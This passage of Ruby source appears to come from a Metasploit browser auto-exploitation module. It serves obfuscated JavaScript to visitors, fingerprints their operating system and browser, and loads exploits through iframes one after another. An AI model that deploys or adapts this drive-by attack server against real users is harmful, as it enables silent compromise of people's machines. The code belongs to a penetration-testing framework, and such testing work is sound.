\" + noscript_exploits);"
opts['Symbols']['Methods'].push("noscript_exploits")
opts['Symbols']['Methods'].push("noscript_div")
js << "#{js_debug("'starting exploits
'")}\n"
js << "next_exploit(0);\n"
if not datastore['DEBUG']
js.obfuscate
end
response.body = "#{js}"
return response
end
# consider abstracting this out to a method (probably
# with a different name) of Msf::Auxiliary::Report or
# Msf::Exploit::Remote::HttpServer
def record_detection(cli, request)
os_name = nil
os_flavor = nil
os_sp = nil
os_lang = nil
arch = nil
ua_name = nil
ua_ver = nil
data_offset = request.uri.index('sessid=')
#p request['User-Agent']
if (data_offset.nil? or -1 == data_offset)
# then we didn't get a report back from our javascript
# detection; make a best guess effort from information
# in the user agent string. The OS detection should be
# roughly the same as the javascript version on non-IE
# browsers because it does most everything with
# navigator.userAgent
print_status("Recording detection from User-Agent: #{request['User-Agent']}")
report_user_agent(cli.peerhost, request)
else
data_offset += 'sessid='.length
detected_version = request.uri[data_offset, request.uri.length]
if (0 < detected_version.length)
detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version))
print_status("JavaScript Report: #{detected_version}")
(os_name, os_flavor, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':')
if framework.db.active
host_info = { :host => cli.peerhost }
host_info[:os_name] = os_name if os_name != "undefined"
host_info[:os_flavor] = os_flavor if os_flavor != "undefined"
host_info[:os_sp] = os_sp if os_sp != "undefined"
host_info[:os_lang] = os_lang if os_lang != "undefined"
host_info[:arch] = arch if arch != "undefined"
report_host(host_info)
client_info = ({
:host => cli.peerhost,
:ua_string => request['User-Agent'],
:ua_name => ua_name,
:ua_ver => ua_ver
})
report_client(client_info)
end
end
end
# Always populate the target cache since querying the database is too
# slow for real-time.
key = cli.peerhost + request['User-Agent']
@targetcache ||= {}
@targetcache[key] ||= {}
@targetcache[key][:updated_at] = Time.now.to_i
# Clean the cache
rmq = []
@targetcache.each_key do |addr|
if (Time.now.to_i > @targetcache[addr][:updated_at]+60)
rmq.push addr
end
end
rmq.each {|addr| @targetcache.delete(addr) }
# Keep the attributes the same as if it were created in
# the database.
@targetcache[key][:updated_at] = Time.now.to_i
@targetcache[key][:ua_string] = request['User-Agent']
@targetcache[key][:ua_name] = ua_name
@targetcache[key][:ua_ver] = ua_ver
end
# Override super#get_client to use a cache since the database is generally
# too slow to be useful for realtime tasks. This essentially creates an
# in-memory database. The upside is that it works if the database is
# broken (which seems to be all the time now).
def get_client(opts)
host = opts[:host]
return @targetcache[opts[:host]+opts[:ua_string]]
end
def build_iframe(resource)
ret = ''
if (action.name == 'DefangedDetection')
ret << "
iframe #{resource}
"
else
ret << "
"
#ret << "
"
end
return ret
end
def exploit_resource(name)
if (@exploits[name] && @exploits[name].respond_to?("get_resource"))
#print_line("Returning #{@exploits[name].get_resource.inspect}, for #{name}")
return @exploits[name].get_resource
else
print_error("Don't have an exploit by that name, returning 404#{name}.html")
return "404#{name}.html"
end
end
def js_debug(msg)
if datastore['DEBUG']
return "document.body.innerHTML += #{msg};"
end
return ""
end
def cleanup
print_status("Cleaning up exploits...")
@exploits.each_pair do |name, mod|
framework.jobs[mod.job_id.to_s].stop if framework.jobs[mod.job_id.to_s]
end
@handler_job_ids.each do |id|
framework.jobs[id.to_s].stop if framework.jobs[id.to_s]
end
super
end
end